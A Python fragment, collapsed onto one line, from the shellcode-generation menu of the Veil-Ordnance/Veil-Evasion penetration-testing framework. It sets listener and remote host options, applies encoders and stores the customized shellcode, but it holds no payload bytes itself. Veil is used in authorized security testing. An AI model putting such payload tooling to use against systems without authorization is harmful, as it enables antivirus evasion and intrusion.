rhost_out = payload.required_options["RHOST"][0] if lhost_out: self.payload_options['LHOST'] = lhost_out if lport_out: self.payload_options['LPORT'] = lport_out if rhost_out: self.payload_options['RHOST'] = rhost_out # Check if encoder is needed if payload.required_options["Encoder"][0] != "None": self.use_encoder(payload) self.final_shellcode = payload.customized_shellcode # Print banner & payload stats ordnance_helpers.title_screen() payload.payload_stats() # Did we come from Evasion? Or direct from Ordnance... if self.invoked: print('\nHalf way... ' + helpers.color('Shellcode generated with Veil-Ordnance!') + ' Returning to Veil-Evasion.') # Re-set settings if "LHOST" in payload.required_options: payload.required_options["LHOST"][0] = "" if "LPORT" in payload.required_options: payload.required_options["LPORT"][0] = "" else: dummy = input("\n" + helpers.color('Done!') + "Hit enter to continue...") show_payload_menu = True break elif shellcode_command.startswith("option"): # Reprint the shellcode options to console self.print_options_screen(payload) if show_payload_menu: if not self.invoked: self.print_menu() break return